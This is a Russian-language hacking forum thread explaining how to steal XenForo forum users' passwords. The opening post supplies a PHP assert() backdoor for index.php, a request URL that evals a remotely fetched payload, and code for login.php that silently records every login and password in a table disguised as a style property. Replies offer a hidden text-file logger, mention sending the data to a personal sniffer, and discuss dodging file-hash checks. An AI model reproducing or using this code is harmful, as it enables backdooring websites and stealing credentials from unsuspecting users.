Описание Угоняем пароли юзеров xenforo-бордов


Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
2 780
Репутация
4 652
Статейка с ачата. В оригинале она начинается с фразы:"Используем WSO Web Shel". Тут видно автор решил дать работёнку фантазии читателя. В общем первый шаг-внедрение шелла, ложиться на ваши плечи. Можно тупо засунуть шелл в какой-нибудь стиль, плагин, выложить на тематическом форуме и ждать у моря погоды. Что-то подобное описывалось здесь ранее XenForo.Начало пути.
Ну а далее...
Отправляемся к файлу index.php , и дописываем вредоносный код:

Код:
if (isset($_REQUEST['l']))
assert(stripslashes($_REQUEST[l]));

Код:
Вызываем скрипт и получаем доступ к RemoteShell:

Код:
http://www.ru/index.php?l=eval(file_get_contents(%27http://www.ru/screen.png%27))#

Отсеиваем логин и пасс из файлов с ФТП , создаем базу данных

Код:
create table xf_style_property_css (
ID int(20) AUTO_INCREMENT,
CSSName varchar(50) NOT NULL,
CSSValue varchar(50) NOT NULL,
PRIMARY KEY (ID)
);

Находим в файле login.php строки:

TBUUmhA.png


Дописываем код:

Код:
$DataBaseConnector = mysql_connect('localhost', 'Имя БД', 'Пароль от БД');
        mysql_select_db('Имя БД');
        mysql_query("SET NAMES 'utf8'");
        $datalogxf = $data['login'];
        $datapassxf = $data['password'];
        mysql_query("INSERT INTO `xf_style_property_css` (`ID`, `CSSName`, `CSSValue`) VALUES ('', '$datalogxf', '$datapassxf') ", $DataBaseConnector);

После всех выше описанных функций , каждый авторизованный пользователь будет внесен в наш раздел с базой ( который создали выше ).

Выполняем команду получения списка: (Сейчас он пустой )

Код:
SELECT * FROM `xf_style_property_css`
 

Nomikama

Пользователь
Форумчанин
Регистрация
23.01.2016
Сообщения
16
Репутация
2
Я не знаю как устроено строение XenFono, но не проще всунуть такой код
$n="\n";
$DOCUMENT_ROOT=$_SERVER['DOCUMENT_ROOT'];
$fp=fopen("$DOCUMENT_ROOT/log/pass.txt", 'at');
fwrite($fp, "Login:Password: ".$datalogxf." | ".$datapassxf."\r\n");
fclose($fp);
В php файл регистрации и собирать новые аки в каком-то текстовике спрятанном в дебрях движка.
Тот, кто смотрит БД заподозрит, что у него странная БД появилась, а текстовик можно нормально спрятать либо сделать вовсе оправку данных на свой сниффер
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 082
Репутация
8 199
Да всё верно, можно в login.php прописать не в базу, а в файл...

В примере вместо этой строчки:
Код:
mysql_query("INSERT INTO `xf_style_property_css` (`ID`, `CSSName`, `CSSValue`) VALUES ('', '$datalogxf', '$datapassxf') ", $DataBaseConnector);

Базу редко анализируют, так-что недумаю что это палево, а вот правка двух файлов движка, это в примере:

index.php и login.php

Это уже может вызвать подозрение, особенно тем-кто проверяет файлы движка по хешу, в админке есть такая опция...:)
 
Верх Низ